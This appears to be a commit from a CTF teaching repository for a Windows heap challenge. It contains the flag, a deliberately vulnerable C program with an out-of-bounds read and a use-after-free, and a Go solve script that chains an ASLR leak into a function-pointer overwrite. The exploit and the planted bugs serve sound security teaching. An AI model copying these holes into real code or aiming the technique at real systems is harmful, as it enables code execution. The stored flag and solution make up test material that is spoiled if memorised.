v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
flag{oob_read_plus_uaf_aslr_bypass}
Binary file not shown.
+137
View File
@@ -0,0 +1,137 @@
/*
Solve script for heap_info_leak.exe: two-stage exploit.
Stage 1 -- OOB read to defeat ASLR:
The binary has ASLR enabled (DynamicBase flag set -- run `winpwn checksec` to
confirm). The win() address is randomized per run. But the S command prints
an arbitrary number of bytes from note[id]->data with no bounds check. Asking
for 32 bytes from a 24-byte Note reveals bytes 24-31, which are the 8-byte
onShow function pointer (real_show, also exported). From real_show's runtime
address and the static RVA difference (win_rva - real_show_rva, from the PE
export table), we compute win()'s runtime address:
win_va = leaked_real_show_va + (win_rva - real_show_rva)
Stage 2 -- UAF function pointer overwrite:
The D command frees the note (dangling pointer stays in the table). The T
command allocates a raw 32-byte token; since LFH is not active (< 18
same-size allocations), the freed chunk is reused immediately. We place win_va
at offset 24 of the token payload (the onShow slot). P <id> dispatches through
the dangling note pointer and lands at win().
Real-CTF parallels (see heap_info_leak.c's top comment):
- justCTF 2024 "Baby Heap but Windows": heap struct at heap+0x2c0 leaks ntdll
- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer
*/
package main
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"strconv"
"winpwn"
)
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in %q", line)
}
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}
func main() {
// Load the PE on-disk to compute static RVA offsets
pf, err := winpwn.OpenPE("heap_info_leak.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
realShowRVA, err := pf.GetProcAddress("real_show")
if err != nil {
log.Fatalf("real_show not found in exports: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win not found in exports: %v", err)
}
pf.Close()
// The RVA difference is the static offset between win() and real_show() --
// constant regardless of where ASLR loads the binary.
rvaDiff := int64(winRVA) - int64(realShowRVA)
fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff)
tube, err := winpwn.Spawn("heap_info_leak.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil { // "heap_info_leak ready ..."
log.Fatalf("RecvLine: %v", err)
}
// Stage 1a: allocate one Note
if err := tube.SendLine([]byte("N victim")); err != nil {
log.Fatalf("SendLine N: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine N: %v", err)
}
noteAddr, _ := parseAddr(resp)
fmt.Printf("[+] Note @ 0x%x\n", noteAddr)
// Stage 1b: OOB read -- request 32 bytes (struct size), byte 24-31 = onShow ptr
if err := tube.SendLine([]byte("S 0 32")); err != nil {
log.Fatalf("SendLine S: %v", err)
}
resp, err = tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine S: %v", err)
}
// resp: "HEX <64 hex chars>"
hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
leaked, err := hex.DecodeString(string(hexPart))
if err != nil || len(leaked) < 32 {
log.Fatalf("bad HEX response: %q", resp)
}
realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)
// Stage 1c: compute win()'s runtime address
winVA := uint64(int64(realShowVA) + rvaDiff)
fmt.Printf("[+] win() @ 0x%x (computed from leak + static RVA diff)\n", winVA)
// Stage 2a: free the victim (dangling pointer stays)
if err := tube.SendLine([]byte("D 0")); err != nil {
log.Fatalf("SendLine D: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine D: %v", err)
}
fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")
// Stage 2b: allocate Token with win() at offset 24 (onShow position)
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
log.Fatalf("SendLine T: %v", err)
}
resp, err = tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine T: %v", err)
}
tokenAddr, _ := parseAddr(resp)
fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr)
if tokenAddr != noteAddr {
fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
}
// Stage 2c: trigger the UAF call
fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
if err := tube.SendLine([]byte("P 0")); err != nil {
log.Fatalf("SendLine P: %v", err)
}
tube.Interactive()
}
@@ -0,0 +1,177 @@
/*
heap_info_leak -- two-stage Windows heap exploit: OOB read to defeat ASLR,
then UAF function-pointer overwrite to get code execution.
STAGE 1 (info leak): The S command prints up to `len` bytes from a Note's
data field -- but puts no upper bound on `len`. A Note is:
struct Note { char data[24]; void(*onShow)(const char*); } = 32 bytes
Requesting S <id> 32 prints all 32 bytes: the 24 bytes of actual data AND the
8-byte function pointer onShow (= real_show, a known-offset function inside
this binary). Since the binary has ASLR enabled (DynamicBase set -- try
`winpwn checksec`), the runtime address is random per run. But it's a fixed
offset from the binary's base. Reading those 8 bytes at runtime reveals the
actual load address, and from there the player computes win()'s address as:
win_va = leaked_real_show_va + (win_rva - real_show_rva)
where the RVA difference is a static property of the binary, readable via
`winpwn exports heap_info_leak.exe`.
STAGE 2 (UAF): The D command frees note[id] (pointer stays in table). The T
command allocates a raw 32-byte token from the same private heap. Since LFH is
NOT active (≤1 prior allocation of this size), the freed Note slot comes back
immediately on the next 32-byte allocation. The player places win()'s computed
address at offset 24 in the token -- exactly where onShow lives. Then P <id>
dispatches through the dangling note pointer, calling win().
Protocol (one command per line, stdout unbuffered):
N <text> allocate Note{data=text (truncated 23 chars), onShow=real_show}.
-> "OK id=<n> addr=0x<hex>"
S <id> <len> print exactly <len> bytes of note[id]->data as hex.
Bug: no bounds check on len (valid: 1..255).
-> "HEX <hexbytes>"
D <id> HeapFree note (pointer stays -- the UAF bug).
-> "OK"
T <hex32> allocate raw 32-byte token with attacker content.
-> "OK addr=0x<hex>"
P <id> call note[id]->onShow(note[id]->data).
-> output (or crash if onShow is garbage)
Q quit.
NOTE FOR TASK AUTHORS: This is the standard two-step pattern used in:
- justCTF 2024 "Baby Heap but Windows": heap UAF + ntdll leak via heap+0x2c0
- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer
The binary has ASLR enabled (unlike the other heap_* examples in this repo
which all have ASLR: No) because learning to handle info-leak → address-compute
→ exploit is the explicit teaching goal. The player MUST read the leaked function
pointer bytes and calculate win()' runtime address. The solve script in main.go
demonstrates the full chain in Go using winpwn's OpenPE to get the RVA offset.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef struct Note {
char data[24];
void (*onShow)(const char *);
} Note;
#define MAX_NOTES 256
static Note *g_notes[MAX_NOTES];
static int g_note_count = 0;
static HANDLE g_heap;
__declspec(dllexport) void real_show(const char *data) {
printf("note: %.*s\n", 23, data);
fflush(stdout);
}
__declspec(dllexport) void win(const char *ignored) {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("two-stage exploit worked: OOB read defeated ASLR, UAF gave code exec\n");
fflush(stdout);
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open flag.txt\n"); fflush(stdout); ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer); fflush(stdout);
}
CloseHandle(hFile);
ExitProcess(0);
}
static int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
static int unhex(const char *hex, unsigned char *out, int maxout) {
int n = (int)strlen(hex);
if (n % 2 != 0 || n / 2 > maxout) return 0;
for (int i = 0; i < n / 2; i++) {
int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return 0;
out[i] = (unsigned char)((hi << 4) | lo);
}
return n / 2;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
g_heap = HeapCreate(0, 0, 0);
if (!g_heap) { printf("HeapCreate failed\n"); return 1; }
printf("heap_info_leak ready (ASLR: enabled, DynamicBase set)\n");
char line[512];
while (fgets(line, sizeof(line), stdin)) {
line[strcspn(line, "\r\n")] = 0;
if (line[0] == 'N' && line[1] == ' ') {
if (g_note_count >= MAX_NOTES) { printf("ERR\n"); continue; }
Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note));
if (!n) { printf("ERR alloc\n"); continue; }
memset(n->data, 0, sizeof(n->data));
strncpy(n->data, line + 2, sizeof(n->data) - 1);
n->onShow = real_show;
int id = g_note_count++;
g_notes[id] = n;
printf("OK id=%d addr=0x%p\n", id, (void *)n);
} else if (line[0] == 'S' && line[1] == ' ') {
int id, len;
if (sscanf(line + 2, "%d %d", &id, &len) != 2 || len < 1 || len > 255) {
printf("ERR usage: S <id> <len 1-255>\n"); continue;
}
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n"); continue;
}
/* BUG: prints len bytes from data but no check that len <= 24 */
printf("HEX ");
const unsigned char *p = (const unsigned char *)g_notes[id]->data;
for (int i = 0; i < len; i++) printf("%02x", p[i]);
printf("\n");
} else if (line[0] == 'D' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n"); continue;
}
HeapFree(g_heap, 0, g_notes[id]);
/* BUG: pointer stays */
printf("OK\n");
} else if (line[0] == 'T' && line[1] == ' ') {
unsigned char buf[32];
int n = unhex(line + 2, buf, 32);
if (n != 32) { printf("ERR need 64 hex chars\n"); continue; }
void *p = HeapAlloc(g_heap, 0, 32);
if (!p) { printf("ERR alloc\n"); continue; }
memcpy(p, buf, 32);
printf("OK addr=0x%p\n", p);
} else if (line[0] == 'P' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count) { printf("ERR bad id\n"); continue; }
g_notes[id]->onShow(g_notes[id]->data);
} else if (line[0] == 'Q') {
break;
} else {
printf("ERR unknown\n");
}
fflush(stdout);
}
return 0;
}